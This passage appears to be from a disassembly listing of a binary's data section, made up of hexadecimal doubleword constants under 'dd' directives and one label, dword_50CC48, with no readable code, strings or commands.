dd 90D7804Dh, 76413D18h, 5900547Fh, 57C9A8B4h, 108DF902h
dd 7221E585h, 50350660h, 2FF3C37Ah, 205DA7D9h, 833B8ECCh
dd 4A233EA5h, 3C1A6C00h, 9007244Dh, 0FB243198h, 4676B250h
dd 2EAA011Bh, 72AEFD32h, 3CBEAFF8h, 37B5F819h, 5FB6EF50h
dd 0DCBA70B7h, 0E82437D3h, 0E10966CAh, 5028930Eh, 90EDD7FAh
dd 575EBF6Eh, 0A0E4398Fh, 2D40B921h, 0FDC10453h, 8012F07Bh
dd 8B1A6790h, 17C58516h, 0C0838A47h, 0CDBD444Fh, 5790C490h
dd 89525050h, 66310F0Fh, 5A83EBBFh, 0EBEF5F58h, 8A607501h
dd 4E90E11Fh, 0C71B88F7h, 0E6E4F0C8h, 201C26Dh, 8542BE9Ch
dd 24201D6Bh, 7AA720CEh, 11B5291Ch, 0A6937C68h, 1C9C0878h
dd 41D420B6h, 880F1728h, 10716306h, 0DB4816DDh, 920AA110h
dd 77B76Bh, 9A23B5CDh, 37A17998h, 11BD010Dh, 7720542Fh
dd 0ECAD2FBFh, 7E5B7FDh, 0E031E475h, 1205DE8Bh, 0A09F0E2Ch
dd 22030908h, 48BA099Fh, 0D598870Fh, 92FF759Dh, 0A6ABD3E5h
dd 0B209B04Eh, 2ED84C0Ch, 2F582D05h, 89B8816Eh, 0B8990406h
dd 577528E1h, 894EED7Ah, 335B20A3h, 0D30D69B5h, 86EC3C2Eh
dd 373BFE6Bh, 0FD808131h, 8C7C39E4h, 0A71E6D9Ah, 791299Dh
dd 0BAF60797h, 4E347E4h, 0E60B1601h, 0DB738524h, 0BD962FC2h
dd 105F0243h, 0AA424761h, 30F13441h, 3D3095B1h, 83F2912Bh
dd 1B8E28BDh, 84FAC48Ch, 0AC0A530Ch, 6146AAD1h, 94F85C17h
dd 0B7B81941h, 18F5602Fh, 0B057D4EBh, 37C733B7h, 781A6170h
dd 0FD4F1651h, 0F4BDBD50h, 2900D6D6h, 9F74DE98h, 62A1AC8Bh
dd 2AF55E2Ch, 114E5008h, 8DBD310Bh, 1B2842F5h, 35E410C3h
dd 23810726h, 762EFEFFh, 66F8D901h, 7220DB8Ch, 0F6194049h
dd 0E408C34Ah, 1C467E69h, 8D669200h, 659A4ECEh, 0E8D28B14h
dd 71B90257h, 822CAB24h, 515EF0DAh, 740EA4F7h, 4A0B1746h
dd 0E5803DA9h, 7E7FC2BEh, 0B0506A26h, 6238C60Fh, 6AC98D89h
dd 6AD7623Fh, 15CE40AEh, 29B0812Dh, 0BBBCF9h, 3FABB545h
dd 218C9F1Fh, 0F7DAC261h, 0B54070E6h, 0C471E4F1h, 1E233D84h
dd 1CD8B6CCh, 6BA2FF3h, 91F41D55h, 0F198801Ah, 3DA1DA7h
dd 0B5011C29h, 66240809h, 2812FE23h, 0A6EF29D5h, 0FFD3B282h
dd 3000BE72h, 2504E08Ch, 0E2A17BACh, 5E74148Fh, 1110A66Ah
dd 0EC4781Fh, 0C1022549h, 89ED04E8h, 759392E0h, 0C1AF08A0h
dd 7E8008E9h, 4537861Bh, 0BC8A05C9h, 6BE2F766h, 117076Fh
dd 0AC3CF19Dh, 41D8482Bh, 8C1AE8h, 0B72C9A4Fh, 937D7B68h
dd 0DA8B600Ah, 0D70037E8h, 3E22CB86h, 0D12C1F9Ch, 0FD93CB7Fh
dd 51BF1B01h, 0E6E1E4FEh, 5961601Ch, 89EB5097h, 93955299h
dd 0BCD2240h, 0AFA15182h, 82F9B5DDh, 39639BABh, 60A6A95Bh
dd 31B465Ch, 1916396Eh, 0ED4CE999h, 49510020h, 6B93AD02h
dd 0D10300F9h, 1906E364h, 0A4222CA9h, 318B3EC1h, 0E8DF4194h
dd 0C569DDh, 0EE7F057Dh, 9304B7Bh, 0DC74851Eh, 0B156B882h
dd 1DC6422Ch, 801C1193h, 7F37F006h, 80072420h, 0B860051Ah
dd 28F681ACh, 30EE2161h, 0AD4E466Ch, 613CA80Fh, 24E830Fh
dd 9123432h, 72FD3731h, 904B9DB5h, 27F6B2E4h, 250118BAh
dd 29DE9303h, 181C71A0h, 0C1F81F35h, 0D1B0C234h, 0D8C0DAFBh
dd 0CD912745h, 23A7609Dh, 0E0AFE410h, 39E46A9h, 2DFDABA3h
dd 5AD8332Eh, 8B3D3B74h, 24AF5985h, 8180BC61h, 6B842CD7h
dd 9BD8FA6Ch, 0EDA47863h, 846C7900h, 0BD0B9B23h, 580C4025h
dd 0DC65B4h, 2161626Fh, 9B1F1BFDh, 0A017A730h, 0B281880Fh
dd 0B85CBFEDh, 727500D6h, 0FDA033B9h, 423C35C4h, 70AE5DACh
dd 0C78A193h, 0B590031h, 66D0B441h, 0C17083F9h, 0D1785A93h
dd 3D0703F3h, 0A9A7CDA6h, 853360D0h, 0AA2C0528h, 3B61F801h
dd 0FB860FD9h, 0F08B3BA7h, 61C16DDDh, 6CF5B745h, 69A98803h
dd 0D580A635h, 7F1994DCh, 0F385D52h, 0D21D5B8Bh, 3A801811h
dd 4D1EA6ACh, 8360E996h
dd 0DBC9D4h, 3FE0D81h, 0A678E609h, 0DC67D200h, 2B61378Eh
dd 0C410B6C3h, 8531423Bh, 93B4EB0Dh, 0AA174A58h, 0EFC51C9Ah
dd 29DD831Dh, 40BAE95Eh, 7E1A0699h, 2317F13Ch, 0CEEA5FB6h
dd 0C018883Ch, 1AD1A18Bh, 0B533EF05h, 35B7090Dh, 7AADD149h
dd 88D332E9h, 67000630h, 0A26EEF0h, 446454h, 1A92D0C0h
dd 1985C762h, 730939B2h, 0CD1FEFB7h, 53BCC040h, 2E091046h
dd 8499B9B8h, 0B459B6h, 0C78100C0h, 5BAEB7F4h, 855F8960h
dd 66B600ABh, 611DABBBh, 23797EB6h, 0C4B4FA15h, 86FB001Dh
dd 8BFD1117h, 0A4003F4Ah, 0FD62118h, 2DD8DA22h, 959953D1h
dd 5F0A6451h, 0F54BD8B1h, 8AE01D67h, 69B529A6h, 0DCB047ADh
dd 0F62FB70Fh, 3AB5D790h, 10254080h, 2DBD29B7h, 0F29D32B5h
dd 64801B91h, 4E5A891Dh, 230E2E17h, 0DD73DAEAh, 2E8D0CBh
dd 9F07BD56h, 801D1199h, 14102CCDh, 269E0553h, 0EB1FA8FAh
dd 6230B4A5h, 94BB00A2h, 0AC68C6Eh, 38503AF4h, 5F04F2D9h
dd 276D9501h, 0F200600Bh, 870F3AE5h, 0BD47229Ch, 20D464EBh
dd 610B1679h, 43919529h, 0F3502C06h, 1646748Ch, 912FC70Ch
dd 88A1F842h, 5506C37Dh, 0CDCEF781h, 6DDE160Ah, 6EE430CAh
dd 4B00C119h, 1CE195B6h, 1EA9CC2Eh, 1F9591Fh, 0F7DEE918h
dd 9509C4FFh, 0E5C07579h, 5DAFE6BEh, 1CB94E4Dh, 0D6818715h
dd 2F73206Ch, 0E52F8D21h, 3FBE3D01h, 8A07EA8Eh, 73E43F20h
dd 0E37928BEh, 795C0965h, 776695A1h, 0A2F472F0h, 9504D07Ch
dd 0E80A9967h, 7EDD88h, 0A3CE8868h, 310FBB9Bh, 45665A00h
dd 0E01170B2h, 998D2513h, 56A2B40Fh, 5972800Fh, 0B5CB804h
dd 0C0C477A5h, 1823816Bh, 3BFEF500h, 39603E13h, 0B1D0CB8Ah
dd 6F8C0E98h, 83226173h, 416101E1h, 0B73BAF1Eh, 5E62067Dh
dd 0AC8AB288h, 70CDFBFFh, 0DD312346h, 8D859668h, 53445C28h
dd 0AE2FD243h, 0E8B00CA6h, 2B16F0EAh, 0CE30385Ah, 159332h
dd 33C0DD0Bh, 2AD40E99h, 19CC7E02h, 0F9F5A187h, 0E2818098h
dd 476F578Eh, 3760612Fh, 9B9E000Ch, 6DE361D4h, 858B1D04h
dd 871432A9h, 0E33FB7D4h, 8586F24h, 467C26BDh, 0ADE50019h
dd 0A44EB018h, 0E27EBD53h, 0BAE98680h, 11F0F09h, 5696BE6Fh
dd 6C658D89h, 5F581307h, 1DF44706h, 7912786h, 0F039EBDh
dd 0A0380D63h, 0AB8BF2BFh, 0A974106Bh, 0E681012Ah, 18089C94h
dd 0D62EFD4Ch, 0C0C4DB48h, 0D739E128h, 0B0820380h, 0BA19D8Bh
dd 0D0E36F03h, 0E541F159h, 92A9715Fh, 0E735800h, 1C0B318Eh
dd 0AA9C8FD9h, 2CDD994Ch, 4905DE95h, 65E858B4h, 0DF8A09h
dd 0F1F08029h, 11B51289h, 8E0A742Ah, 0C1168804h, 4174129Bh
dd 810E41E0h, 2EFCE2F7h, 18934863h, 6FF65389h, 137605A2h
dd 0A010F9CBh, 0F0884631h, 2999E32Dh, 0A7B16C9Eh, 0B5D34D19h
dd 0E6FEAF64h, 7127E0A8h, 0AAEB75CAh, 8158F732h, 0D616D4BFh
dd 0FBEFB06h, 7A170283h, 0FFE5A28Bh, 0E05B48D3h, 24DBCCE0h
dd 0B76C53Ah, 494490B9h, 587ABA7Dh, 2507909h, 8A0E1892h
dd 56E6A2C2h, 819ACBDh, 18352F99h, 0A6FF83D5h, 0E6D7B006h
dd 0A87C01EEh, 61958921h, 5C0A051Dh, 0A108CBF7h, 1B467C1Eh
dd 52ADA700h, 63B50D8Eh, 0B8663305h, 5DB0227Bh, 13DF0581h
dd 3D523CBFh, 0C0B41ADBh, 0F314ABDh, 0F3F80657h, 0C823AEFCh
dd 14F21943h, 50547F31h, 0C26E3817h, 6188740Bh, 0C1DF6DDFh
dd 0F47A338Bh, 130B990Eh, 22659D2Bh, 5B85C7CDh, 76B7A542h
dd 99ABFD2Fh, 154148FFh, 466800FCh, 8C7017AFh, 0BF031CA0h
dd 0B5A9B294h, 68059229h, 9E615E11h, 8800DCE1h, 83E6A2BAh
dd 10093BA6h, 25058595h, 0E7E85D8Bh, 613E07EBh, 5E575F9Dh
dd 0C0EB9ABEh, 275D73BDh, 7F9F0148h, 0B4606498h, 0B58BCC4Ch
dd 111D7525h, 10172ACAh, 90D8D29h, 623D9Dh, 0AB0340AFh
dd 90B0F61Dh, 0C7D3154Bh, 275A3C1h, 8C66602Dh, 8878A8D8h
dd 12F3542h, 6FF130DFh, 95EC457Ah, 1C535B0h, 0EFC1FE8Bh
dd 3C8D680Ch, 0C8B42004h, 0DF45702h, 0FFAB0295h, 4B1A8E95h
dd 5DE5F732h, 0C530DF82h, 1EFD02A9h, 45283F9Ch, 0D630E31h
dd 6D6A5029h, 6E4A7Ch, 0C1C36112h, 5E06E02Eh, 0D2296860h
dd 2D3B0060h, 8A3DC3ACh, 9CB858F8h, 6374D974h, 0D546C033h
dd 0B9D0F760h, 4618370h, 3C8BDB33h, 923F218h, 388CE8h
dd 0A273AC20h, 5DBA3D25h, 814C3080h, 0E6F9FDF7h, 0C0764A48h
dd 0A0C51A07h, 29EA9Fh, 85F945A7h, 0B3B601E4h, 5938B118h
dd 2FF3E33Ah, 0D68F6E2Bh, 0ABA9EF20h, 0ACC143E0h, 579B6AC2h
dd 0D5F97Bh, 3CBE553Dh, 1215DAB1h, 48FAC4Ch, 0E98D0FBEh
dd 894A7691h, 0E246C8ABh, 0AACB630h, 0F24270CEh, 18D609EBh
dd 0D2876233h, 3CC3D7D2h, 40FBE13h, 6223E4EDh, 549894FBh
dd 208509D6h, 0F1BE2C18h, 0D0788095h, 0C021E961h, 3E4D7E1Dh
dd 0C2070815h, 80BA764Fh, 0E0CD4443h, 0B91B50Bh, 4BE9F5BDh
dd 5C34D20h, 0BB3EAC65h, 34B9804Eh, 0B72C1C17h, 2DA51D8Fh
dd 0F5C14067h, 0E83F1F23h, 26B34C19h, 2180C809h, 8D23FDE1h
dd 0E18499Dh, 6519B18Ch, 0C67507D4h, 40EBEC98h, 0C76E3C4Ah
dd 717D2A1Ch, 608666C0h, 0C02999E4h, 0B9CDA130h, 0A7070F72h
dd 0ACA5D3B4h, 0C035081Ch, 72B1EC21h, 0C07E013h, 0E33D2D49h
dd 0C470989Fh, 7EFF0032h, 25AEBB8Ch, 400CBE8h, 272AB76Dh
dd 0C778E2h, 0A1B0083Ch, 0F4E77999h, 7F20A60Ch, 73E81EEh
dd 9ED2D9ABh, 7A58E02Bh, 0B0000B54h, 1FBB79A0h, 60415325h
dd 36720A4h, 0B353FDC9h, 5B55C420h, 0E3AC1D64h, 6423F40Fh
dd 0CA62E03Fh, 23FCE620h, 53E10005h, 0FB41F80Ch, 2B7128EBh
dd 0F501C8C7h, 0A10E9680h, 0C5E430DDh, 6C3D14F0h, 8378E918h
dd 50829929h, 8DA068h, 8F972A8Eh, 0DE1330E9h, 1FB00914h
dd 8CCDBCF8h, 5073DC71h, 74CE4B01h, 0D699EDF6h, 12A66980h
dd 78C33B2Ch, 4B87C8A1h, 0C034C8F4h, 28539874h, 0E9886F1Dh
dd 0D133A30Ch, 5806F52Ah, 0BC9E1E21h, 0A7017284h, 203062E4h
dd 0F972BFEAh, 0DAAEE100h, 6CF32073h, 348A9F4Dh, 30EB8024h
dd 697D7F87h, 0CB463A00h, 4B424F3Fh, 0EF580510h, 4A331E5h
dd 22DF8BA0h, 23F630B2h, 0F03F1A11h, 0E480C988h, 0DEC23FEh
dd 5F4A0232h, 0ADC55B3Fh, 0A7D01C40h, 70BA992Ah, 486E078h
dd 0A7037285h, 908E94h, 7172BDE8h, 0F6EB65F4h, 38ED12A7h
dd 0D0C00DBh, 0B208FAA6h, 0D7E9CEh, 222C8769h, 346C3FC8h
dd 0D830C9BAh, 6908EE21h, 0D7C5BD1Fh, 1DFA483h, 9F6DA86Fh
dd 0B071C122h, 60BB9AB5h, 3E002E9Bh, 3F773235h, 348F5E65h
dd 8282AD5h, 0F2C0BE90h, 463F1623h, 0CC2290h, 0B623FAF8h
dd 841B4A65h, 6A14C60Eh, 63E344AAh, 0EDA42880h, 6CD050E0h
dd 0C048CFEh, 22CBB69h, 0F220DF62h, 3356EF4h, 0B402A878h
dd 0A93C818Fh, 0DE4594A6h, 405209C4h, 0EC18AA27h, 6CF5908h
dd 0A9B82D76h, 4760EDA1h, 7B0FA384h, 0FF901964h, 0BA69E067h
dd 448C0A2Ch, 0F70EF5DBh, 0C069DE6Eh, 0F17F5C5Eh, 44341401h
dd 4079E011h, 600017A5h, 0BCC53DACh, 0CF33088Ch, 91188F71h
dd 2400D146h, 0AA83A066h, 285CC874h, 92103477h, 0D8B0C05Ch
dd 0A9A0287Eh, 3B140090h, 56AC7007h, 1C37F038h, 0F24CEA88h
dd 0D36020F5h, 73332C0Ch, 4D055841h, 890FD455h, 630AF1B7h
dd 1F47809Ch, 0F3E9F465h, 0E029C519h, 21834409h, 0D164E7A7h
dd 96AFEFC0h, 45354D00h
dd 0DDBBD29Dh, 0D8293558h, 0AB0683D8h, 686708BAh, 3E60CE64h
dd 934825C9h, 0E4EA722Eh, 8FC8B361h, 64232B71h, 9C30CAE2h
dd 0DE2202B1h, 0BDAB3F66h, 7E76C4A0h, 0C12904ADh, 0F6118CB0h
dd 0F7651C80h, 448CEBE9h, 0E406A07Dh, 3B2B0464h, 91D24159h
dd 1A80F448h, 1BE9F165h, 7322DA43h, 64E2A201h, 0BB1B08D2h
dd 0F8236022h, 85690201h, 0DC18122Ch, 900AF088h, 3FD4715Eh
dd 1B0674C5h, 989E7057h, 8A00521h, 1860040Ah, 46E9F365h
dd 797F220Bh, 0FA6400ACh, 4B0C0157h, 71C7AB09h, 0B6701DD9h
dd 65C9A0h, 41189F59h, 28AD8F3Eh, 0BD46D4A4h, 1923F302h
dd 711C983Fh, 0A02310FBh, 298520DAh, 0F1A8C715h, 7886187Dh
dd 269924FBh, 0C0809F94h, 955235EAh, 410FDEADh, 0E9332A27h
dd 0F290004Ah, 0C0BA5B08h, 0A1067990h, 3C7AB362h, 70A81524h
dd 1329F42h, 826CAA99h, 50DDC458h, 3BB848D4h, 0E422F953h
dd 860EE123h, 9CA70472h, 0EB203762h, 0AD72BEh, 0B6131073h
dd 9E801251h, 8A69FE6Ah, 68DDB00Ch, 9CB3548Ch, 0F2DB0035h
dd 0EC39E428h, 8099324h, 823BBF09h, 0D7D85Ch, 506762CCh
dd 605D98C0h, 61A74B2Ch, 0DD22104Eh, 0BC38289Fh, 0D2008CC2h
dd 94DDF6BDh, 74570FE2h, 72052A75h, 195400C4h, 0C9564247h
dd 0ED007353h, 0AEAFD77h, 13BD320h, 0F2AE511Ch, 616CB9EBh
dd 23B83200h, 72B801E7h, 73ACA70Eh, 1D8B9054h, 1D40B572h
dd 8EC3DD63h, 7B381F79h, 2F1C13EBh, 0CD2318h, 696E7CB9h
dd 1906030Eh, 389E7553h, 4B9F0171h, 0B5A2349Bh, 81A0C0E9h
dd 7ADD4A00h, 5145B7B2h, 0F99E13EEh, 0A6FC08FEh, 21F70E81h
dd 0C473BA8Fh, 0DD3137A2h, 6148BF8h, 8C07A4FEh, 157559B9h
dd 0B0C37F00h, 0A911C0BDh, 988A480Eh, 908C78BCh, 30510085h
dd 89CAC037h, 0F024C5A7h, 221320B1h, 175C1DBBh, 23B42F1Ch
dd 372F00C8h, 4BB65636h, 906B0324h, 0BA60E544h, 0A7230C72h
dd 3B11BCh, 0F972B2EFh, 13420FAh, 0F34D9C9Fh, 0E08E8C04h
dd 0C00C878h, 411E2711h, 18290705h, 0C0BE8424h, 5B123D1Ah
dd 0CC0AF65h, 0BA26BB20h, 30364C2Ch, 78C7BE8h, 3E278F8Ah
dd 986123AAh, 41768EE0h, 0F5E90B09h, 0E48C45A5h, 0DC28603Ah
dd 3379066Ah, 0B0C8D5BBh, 0BCA90F26h, 0EAF20180h, 1D113FFDh
dd 41EFB41Fh, 2689021Bh, 271CF85Bh, 34FD0500h, 0DDE9F02Bh
dd 8D3D006Ah, 0A2A7A02Ah, 0AF07AEB3h, 5C4B53Eh, 7B4B2861h
dd 0BC4E3C75h, 0FDC03688h, 0A6D1AD5h, 0E4F683D8h, 74302CA8h
dd 603C7D46h, 0A9A2891Ah, 0CCE4E8E5h, 91DC9560h, 66DFAC00h
dd 432C6F78h, 0E05760CFh, 0D9CCFDA0h, 91EBD49Ah, 0BB80E2F0h
dd 84A70D72h, 0AFEE1387h, 2D505403h, 0F3C2B8ECh, 0A0D50A97h
dd 3D4B1CDh, 91466E0h, 0EE3EC0A0h, 32B46C05h, 40044BBFh
dd 3400D458h, 9D824188h, 7AA4B603h, 78733ACCh, 0C780A2A9h
dd 60CA44A0h, 5405D9C4h, 0F0EAAC6Fh, 0CCD81D43h, 0F5A703F6h
dd 8024D6ACh, 0E908301Ch, 539A20A8h, 7EB2DC3Fh, 4AF84531h
dd 2AF5F299h, 4B0DA84h, 58E829E4h, 32E0A043h, 0CAA1BB10h
dd 7BE8B458h, 1524E68Ch, 0B4D65DC9h, 5269117h, 3E6FB5BDh
dd 3123E8h, 0D61D170Bh, 900C6EAh, 263D4EA0h, 0C7279FBDh
dd 0CE387329h, 0C45136C3h, 0F029B9B7h, 3611E41Dh, 0CF5F9580h
dd 763C5518h, 0F9C45197h, 0B07477AAh, 18530EE3h, 196EA7B1h
dd 0FB2628E8h, 934E703Dh, 5FE7D0D0h, 19F9123Fh, 0BCB43256h
dd 1123F030h, 88803F18h, 0F8FA80B5h, 429EDD23h, 0A602BC96h
dd 72C33C25h, 5E609404h, 31013446h, 2F78F6EEh, 3F91E730h
dd 78242D21h, 2E574014h, 0F7944008h, 651D028Ch, 0C5E3E9F6h
dd 20177C19h, 817B64E5h, 0E9FEA0C1h, 61A65F28h, 0D3270097h
dd 7CFD2D31h, 683BC74Eh, 6600DE23h, 0EB596216h, 28A0E2BDh
dd 33ECB405h, 0A729AC08h, 0D5E1DBE8h, 52B37D03h, 11FF64ADh
dd 0E223F90h, 0B8A8DDA1h, 0B47B2D88h, 39465ED0h, 0EB3D530Bh
dd 4A10CC44h, 0A6197057h, 18FCE020h, 0B969040Eh, 0E2C9F22Ch
dd 0F6F480D8h, 2E1936Eh, 327CC67Fh, 0F4D0E363h, 0AC9C2D0Bh
dd 40CC4C24h, 661D2ACFh, 4C645854h, 2B533084h, 4BE3320Fh
dd 66C09D7Ch, 0F42D0D62h, 7F10B1E3h, 209C5502h, 12403423h
dd 8870CB8Ah, 0A88FC07Ch, 51247B37h, 465E2C8Ah, 83F3C7Fh
dd 4C2B3h, 0B009C117h, 0F50C6C3Ch, 11CF9B30h, 0DB1528B3h
dd 8FF72790h, 5BE60AEh, 0BBC5AA3Dh, 19B60E0Ch, 487612DFh
dd 0B50D0073h, 260E4FAh, 89BC6100h, 0F10197C2h, 8D90A0BBh
dd 7143A80h, 0D1ECF029h, 18601DD8h, 0C3C4170Ah, 0EE2E1D97h
dd 58EA02F4h, 0B0D2CB63h, 4B20E813h, 0CCABE820h, 329245FCh
dd 3078E21Ch, 3B3B5843h, 0BC480294h, 716D6C25h, 18DA797Ch
dd 4F6E0392h, 77B57046h, 7F78EBE8h, 1B781492h, 3FE76601h
dd 0C5B3E976h, 103C5031h, 28CA0BCh, 50BF77A2h, 0D864CB09h
dd 10AC0858h, 1A02D474h, 0ADC1BBA1h, 980B1084h, 65091948h
dd 0E503E9F2h, 0E1AD8004h, 28F5EF64h, 14436115h, 0D0B126BCh
dd 1D23F7C0h, 2CF85B3Fh, 0FF03E76Ch, 4909D23h, 58D6C0CBh
dd 0EACC4041h, 74AB782Ch, 7FA0B004h, 7B88988Eh, 7176B1C0h
dd 8D9407CAh, 853B9E8Fh, 2595027Eh, 8489A7B4h, 61531002h
dd 30762C00h, 0C3CE917h, 148CB5ECh, 0A82E1C89h, 8C7EE8h
dd 0DE6130A8h, 3CE77D5Ah, 4047249h, 0A648FD12h, 8CFBF8C8h
dd 86690305h, 60B22A2Ch, 690BF1C1h, 1AA0834Ch, 0F3632A5Bh
dd 4F0126Fh, 0FD883FAh, 18678902h, 42D60327h, 0D1C47198h
dd 7579187Dh, 0AB3E0907h, 48E0D3B9h, 0E8A85B28h, 2130533Ch
dd 30F418CEh, 14BD2DFDh, 0C911C41Dh, 560EA980h, 34BC8EF9h
dd 8B8CCA43h, 9882D82Eh, 4B3F2F7h, 9D3D1FE1h, 2C90E2E2h
dd 4B00454Fh, 2484F571h, 0AEE0095h, 0D141E43Fh, 6A012E7Ch
dd 77F6D227h, 7983BA2Dh, 9B26511Bh, 207A04DAh, 7E4C3600h
dd 9DE7A3BCh, 6288030Dh, 5DD4A245h, 0B64E2688h, 43283F13h
dd 0A0237C3Ah, 425AC50Eh, 81DCD150h, 0EBB6839Ch, 0CBA19193h
dd 0C03AC8E0h, 0B18E61Ch, 0EF036D00h, 0E989CF81h, 0B779C0D0h
dd 5ADA8A01h, 0DD121190h, 18A1CF18h, 5AE9ABDCh, 23D43BB1h
dd 9540673h, 0D1FA69A3h, 3BBE593Eh, 38EB00CEh, 16C785EDh
dd 3A9F3E49h, 8EFE2A00h, 8A1760A6h, 171CB625h, 80CD1104h
dd 1A3453F2h, 0D6650102h, 0BB3F2645h, 12846C31h, 70A34066h
dd 1086A5Ah, 30559B9Ah, 44EE4BB6h, 0B4452EB0h, 35DB4208h
dd 6F40009h, 5405A647h, 4B8C77h, 0C853698Eh, 0A316857Fh
dd 3374B500h, 8BF67A95h, 99207E1h, 0FB91BBE4h, 45AA9884h
dd 0D4E43EA6h, 1EC10B56h, 4CAC3ADBh, 0E700B520h, 85A99B6Eh
dd 9E26779Fh, 8CED8FF4h, 0D17D3204h, 92219978h, 0A100F549h
dd 7824028h, 0E49F0087h, 77F1A280h, 0A17B7E41h, 960C7D5Ch
dd 0A6851804h, 6974EA01h, 7A2068B4h, 0F401074Fh, 286F20E9h
dd 65DC9880h, 0C48F58EBh, 7F0C089Ah, 899FB6D3h, 0EDA63EA1h
dd 2438BC24h, 74A30858h, 4020AE0Eh, 11606C24h, 53A10261h
dd 0E23D71FAh, 2A0A7052h, 0C051FF43h, 17B08595h, 8D197850h
dd 0E7DFBC70h, 3628B16Ch, 0C8982537h, 0E2800574h, 22A70C94h
dd 8F59FBE3h, 768164B6h, 49263A79h, 15A4E8h, 0CFAA5686h
dd 98DC2F62h, 0C16A540h, 0AEF14B25h, 98C46550h, 0A405557Bh
dd 0A67005FDh, 52E0233Ah
dword_50CC48 dd 0D9074980h, 28880978h, 33DE166Bh, 88448E8Bh, 6330C035h
dd 380291E7h, 42C46086h, 0B24F07Bh, 80961FACh, 3C5C0C0Ah
dd 81D46AFh, 0BB803591h, 888503DDh, 0AE74571Ah, 791459C0h
dd 7E1C1844h, 1BEF01EEh, 92C56F62h, 209442E4h, 0E4B82224h
dd 724742C2h, 453B0127h, 60CEE4FCh, 0A3B691h, 11F6D043h
dd 2C6EBFEBh, 467CF4B6h, 0FD1C0037h, 35A0576h, 0BC7D4899h
dd 0FC18F189h, 2B00AD9Fh, 1F1B213Dh, 0E3A83Ah, 0FF56BCA2h
dd 0B0C5A178h, 2D8D35Dh, 7553430Dh, 67B86077h, 6C073825h
dd 9A86AA17h, 3A45C044h, 480A6432h, 3E7ED0EBh, 2FCE09C3h
dd 3ACC23B4h, 34600400h, 0B092980Eh, 5F62CA1Eh, 2032CC68h
dd 900FF1EFh, 0A96ADCh, 437A91CAh, 0D164C5D9h, 3D1D9C92h
dd 0D0E4BDBBh, 305CF14Eh, 58CCCBCh, 0ED577DD9h, 839F8253h
dd 0EB6EACE0h, 6CA4DF1Bh, 316FC108h, 106258BAh, 145E8609h
dd 0C2A800D6h, 2B744BEEh, 0E02557C5h, 75C379Fh, 0A04AABA8h
dd 483CFFB5h, 78EB5D09h, 24BCC0A3h, 13114B53h, 250002D0h
dd 0A40060D3h, 0A1D858DDh, 38227FA4h, 53009648h, 0F5A0B36Ah
dd 20C4F008h, 4340BE8Ch, 0A5A2691Ah, 0B60CBBEAh, 917104F7h
dd 4ABE0078h, 0B3D7D066h, 22002090h, 0C0EC6245h, 93EE8A7h
dd 0E30FA11Ah, 953BB085h, 0AED00A3Ch, 0F437A5D4h, 105AE800h
dd 9CF207h, 5C0B5406h, 0A1A55325h, 1560F8C8h, 8727AC1Ch
dd 606E0C6Dh, 28386415h, 9C26293Dh, 0A6620730h, 0D8A4283Bh
dd 0BBB7808h, 444D1C17h, 3081A465h, 8D03DFD9h, 32868F91h
dd 3139F2E8h, 0B301F0A3h, 80D89E58h, 6E056BAh, 0FA31003Eh
dd 0B2A35F68h, 0B4B4A0B0h, 4F78EA82h, 0BFF040CAh, 33770864h
dd 0A93C2CB5h, 631614ADh, 89AB8820h, 58E880CFh, 660EF5Dh
dd 0A981A8D4h, 2E761818h, 8754E9A4h, 46E5F026h, 0BF782301h
dd 83F8B0F2h, 2E8A5BBCh, 7923A4h, 0E7824B05h, 4D28AA61h
dd 809498AFh, 0DE465Eh, 0A6FC4603h, 0C4A72F77h, 0C804ADB1h
dd 591DB8C4h, 490F6652h, 603A8F19h, 0B0337E5h, 0AC73E7h
dd 0BAF865C6h, 2B701E16h, 0FDEA9402h, 9138A6B2h, 0A44804C4h
dd 401C3849h, 0B11F2A81h, 87A409DCh, 0EED38791h, 84D60A30h
dd 0CE9D0102h, 7C8CDEAAh, 0C50C099h, 0C3E1F40Fh, 0B928A2C5h
dd 637EC2EAh, 149D2D0h, 2A9FEB8Bh, 967DE5E0h, 0DC3424D4h
dd 5321900h, 0DC1FA9A6h, 43E74039h, 329E2A40h, 0A730614Dh
dd 6A3B60E0h, 0F844DA5Ch, 0B6008C36h, 0D7BFEDA8h, 96BAFE0h
dd 0D6CEF661h, 99F8488Eh, 6EE132C5h, 246B3E0h, 6E6C9307h
dd 68726065h, 4FE42A65h, 58DD10B0h, 145C826Dh, 1946AB18h
dd 9DFCEDh, 817D34F8h, 0DC7609AFh, 6CD96EA4h, 0C419A079h
dd 53253CA7h, 307422C1h, 260501Fh, 40E98C01h, 9C813E0Fh
dd 2F3950A4h, 2C806402h, 0C098FA3Bh, 0A6A5F128h, 0D260B8C5h
dd 22F421A0h, 477CBCE0h, 1D5080F7h, 0B0038D0Eh, 1A826D11h
dd 0C5A4E021h, 94B35990h, 1BA11802h, 0CCB56BB6h, 44803111h
dd 0A75FF282h, 0EDE20F00h, 6EE18A21h, 613C79ADh, 0A5B699B3h
dd 0FCD1D232h, 89860100h, 3CED13h, 0FBD66578h, 0B434AE99h
dd 0B12740F0h, 867868ABh, 0FFF100E7h, 511BC477h, 0F12D2A3h
dd 4C57EBF4h, 60A1FCC1h, 5C72AED1h, 74A0F52Ch, 95584446h
dd 23E3B300h, 0B29918D2h, 3B28F20Ah, 0CD279462h, 59A3E030h
dd 0EE3D739Ah, 0BA2C8520h, 74C3B3C9h, 0F60794D3h, 40F2EE67h
dd 1D6D1B0Ch, 0F49B073Ah, 0BC22B078h, 18244A8Ch, 0ED6A6937h
dd 5885F85Ah, 0ECA66413h, 0E6CE3C07h, 0C738C003h, 371844A3h
dd 0EC29AD08h, 2F800FEh, 3096C329h, 0F1580EEEh, 567008E0h
dd 0A07A4914h, 0CF9F8017h, 0C2C5A0D3h, 0D1E700DCh, 0E5F87021h
dd 74603C0Eh, 0F357809Eh, 74672FB6h, 0BF2E00EBh, 9C289F32h
dd 0DA019D8Eh, 3CA5C7B0h, 0A2421367h, 0DD284020h, 0CCA44CACh
dd 75833Ah, 0BA8CE3F5h, 0CD8A0F98h, 2821FD33h, 8020DEC5h
dd 0C048F518h, 0B6B35749h, 2AE809AEh, 840B0528h, 6D8A6C25h
dd 6E866014h, 0A617D205h, 0C288019h, 6C45203Ah, 396A0537h
dd 0C2D549D0h, 4F443895h, 0B0EC9E03h, 212970AFh, 0F200C00Fh
dd 0E6951B48h, 26B90FFCh, 8742BC08h, 50446332h, 33762D09h
dd 0B950D82Ah, 18CF797Ch, 0DA9101D6h, 0C8FE8875h, 0E4404009h
dd 9B013CD5h, 0C24FC3A0h, 0DDF07CB9h, 0B6A49A69h, 0DC465E38h
